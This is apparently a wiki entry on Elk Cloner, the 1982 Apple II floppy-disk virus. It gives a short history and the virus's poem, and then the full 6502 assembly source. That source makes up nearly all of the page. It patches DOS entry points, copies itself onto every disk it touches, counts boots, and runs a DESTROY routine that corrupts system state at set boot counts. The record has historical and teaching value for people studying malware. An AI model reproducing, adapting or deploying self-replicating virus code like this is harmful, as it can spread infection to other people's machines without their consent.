Self-Replicating Automata/List/Elk Cloner
Introduction
editElk Cloner is the first known computer virus to spread in the wild. It infected Apple II systems and was written by Richard Skrenta in 1982. It spread by infecting Apple II floppy disks. It did not cause any intentional harm to data, and displayed the message on every 50th booting.
Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips Yes it's Cloner! It will stick to you like glue It will modify ram too Send in the Cloner!
Source Code
editORG $9000 VERSN DFB $02 HIMEM LDA #$FF STA $4C LDA #$8F STA $4D DOPTCH LDA #$20 STA $A180 LDA #$5B STA $A181 LDA #$A7 STA $A182 RUNPTCH LDA #$AD STA $A4D1 LDA #$B6 STA $A4D2 LDA #$AA STA $A4D3 LODPTCH LDA #$4C STA $A413 LDA #>LOD STA $A414 LDA #<LOD STA $A415 BLDPTCH LDA #$4C STA $A35D LDA #>BLOD STA $A35E LDA #<BLOD STA $A35F CATPTCH LDA #$4C STA $A56E LDA #>CATALOG STA $A56F LDA #<CATALOG STA $A570 USRPTCH LDA #$4C STA $0A LDA #>USRCMD STA $0B LDA #<USRCMD STA $0C BOOTUP CLD JSR READ LDX $B3BF INX STX $B3BF JSR WRITE JSR DESTROY JMP $A180 TESTON LDA #$00 STA FLAG1 LDA $AA68 STA $B7EA JSR READ LDA $B3C2 CMP VERSN BEQ TESTON1 LDA #$01 STA FLAG1 TESTON1 RTS LOD JSR TESTON LDA FLAG1 CMP #$00 BEQ LOD1 JSR CLONE LOD1 JSR $A316 JMP $A416 BLOD JSR TESTON LDA FLAG1 CMP #$00 BEQ BLOD1 JSR CLONE BLOD1 JSR $A2A8 JMP $A360 CATALOG JSR TESTON LDA #$06 JSR $A2AA LDA $B5BF STA $AA66 LDA FLAG1 CMP #$00 BEQ RETURN JSR CLONE RETURN LDA #$0 STA $B3BE STA $B3BF STA $B3C0 RTS CLONE CLC JSR READ LDA IDENT STA $B3C0 LDA VERSN STA $B3C2 JSR WRITE LDA $AA68 STA $B7EA LDA #$02 STA $B7F4 STA $B7EC LDA #$08 STA $B7ED LDA #$0 STA $B7EB STA $B7F0 LDA #$95 STA $B7F1 CLONE1 LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE2 RTS CLONE2 DEC $B7ED DEC $B7F1 LDA $B7F1 CMP #$8F BNE CLONE1 LDA #$02 STA $B7F1 LDA #$01 STA $B7F4 STA $B7EC LDA #$0 STA $B7ED LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE3 RTS CLONE3 LDA #$4C STA $280 LDA #$00 STA $281 LDA #$9B STA $282 LDA #$02 STA $B7F4 LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE4 RTS CLONE4 LDA #$0 STA $B7EC LDA #$A STA $B7ED LDA #$95 STA $B7F1 LDA #$B7 LDY #$E8 JSR $B7B5 CLD RTS READ LDA #$01 STA $B7F4 JMP VTOC WRITE LDA #$02 STA $B7F4 VTOC LDA #$11 STA $B7EC LDA #$0 STA $B7ED LDA #$BB STA $B7F0 LDA #$B3 STA $B7F1 LDA #$0 STA $B7EB LDA #$B7 LDY #$E8 JSR $B7B5 CLD RTS PRINT STY $FC STA $FD LDY #$00 PRINT0 LDA ($FC),Y CMP #$00 BEQ PRINT1 JSR $FDED INY JMP PRINT0 PRINT1 RTS PRTMSG LDY #>MSG LDA #<MSG JSR PRINT PRTNUM LDA IDENT STA $44 JSR $AE42 LDA #$8D JSR $FDED RTS MSG ASC 'ELK CLONER V2.0 # ' DFB $0 IDENT DFB $1 FLAG1 DFB $00 RET RTS USRCMD JSR $E6FB CPX #$0B BNE CMD2 JSR PRTMSG RTS CMD2 CPX #$0C BNE CMD3 LDY #>REPORT LDA #<REPORT JSR PRINT JSR READ LDA $B3BF STA $44 JSR $AE42 LDA #$8D JSR $FDED RTS CMD3 CPX #$0D BNE CMD4 JSR CLONE RTS CMD4 CPX #$0A BNE USRERR JSR PRPOEM RTS USRERR LDY #>UERR LDA #<UERR JSR PRINT JSR $FBDD JMP $9DBF UERR DFB $8D ASC 'ILLEGAL QUANTITY ERROR' DFB $0 PRPOEM JSR $FC58 LDY #>POEM LDA #<POEM JSR PRINT RTS REPORT ASC 'BOOT COUNT: ' DFB $0 POEM ASC 'ELK CLONER:' DFB $8D,$8D ASC ' THE PROGRAM WITH A PERSONALITY' DFB $8D,$8D,$8D ASC 'IT WILL GET ON ALL YOUR DISKS' DFB $8D ASC 'IT WILL INFILTRATE YOUR CHIPS' DFB $8D ASC 'YES IT' DFB $A7 ASC 'S CLONER!' DFB $8D,$8D ASC 'IT WILL STICK TO YOU LIKE GLUE' DFB $8D ASC 'IT WILL MODIFY RAM TOO' DFB $8D ASC 'SEND IN THE CLONER!' DFB $8D,$8D,$8D,$8D,$0 IOERR LDY #>ERRMSG LDA #<ERRMSG JSR PRINT JSR $FBDD JMP $9DBF ERRMSG DFB $8D,$8D ASC 'I/O ERROR' DFB $8D,$00 DESTROY LDA $B3BF CMP #10 BNE DEST1 LDA #$69 STA $3F2 LDA #$FF STA $3F3 JSR $FB6F RTS DEST1 CMP #15 BNE DEST2 LDA #$3F STA $32 RTS DEST2 CMP #20 BNE DEST3 LDA $C030 LDA $C030 LDA $C030 RTS DEST3 CMP #25 BNE DEST4 LDA #$7F STA $32 RTS DEST4 CMP #30 BNE DEST5 LDA #'I' STA $B3A7 LDA #'T' STA $B3A8 LDA #'B' STA $B3A9 LDA #'A' STA $B3AA RTS DEST5 CMP #35 BNE DEST6 LDA #$85 STA $AAB2 RTS DEST6 CMP #40 BNE DEST7 LDA #$00 STA $3F2 LDA #$03 STA $3F3 JSR $FB6F LDA #$4C STA $300 LDA #$00 STA $301 LDA #$03 STA $302 RTS DEST7 CMP #45 BNE DEST8 LDA #$80 STA $D6 RTS DEST8 CMP #50 BNE DEST9 LDA #>PRPOEM STA $3F2 LDA #<PRPOEM STA $3F3 JSR $FB6F RTS DEST9 CMP #55 BNE DEST10 LDA #$FF STA $BDD3 RTS DEST10 CMP #60 BNE DEST11 LDA #$20 STA $BDD3 RTS DEST11 CMP #65 BNE DEST12 LDA #$4C STA $A180 LDA #$69 STA $A181 LDA #$FF STA $A182 RTS DEST12 CMP #70 BNE DEST13 LDA #$10 STA $BDD3 RTS DEST13 CMP #75 BNE DEST14 JMP $C600 DEST14 CMP #76 BNE DEST15 JMP $C600 DEST15 CMP #77 BNE DEST16 JMP $C600 DEST16 CMP #78 BNE DEST17 JMP $C600 DEST17 CMP #79 BNE DEST18 JSR READ LDA #$00 STA $B3BF JSR WRITE RTS DEST18 RTS LOADER ORG $9500 LDA #$02 STA $B7EC LDA #$01 STA $B7F4 LDA #$03 STA $B7ED LDA #$0 STA $B7EB STA $B7F0 LDA #$90 STA $B7F1 LOAD1 LDA #$B7 LDY #$E8 JSR $B7B5 INC $B7ED INC $B7F1 LDA $B7F1 CMP #$96 BCC LOAD1 JMP HIMEM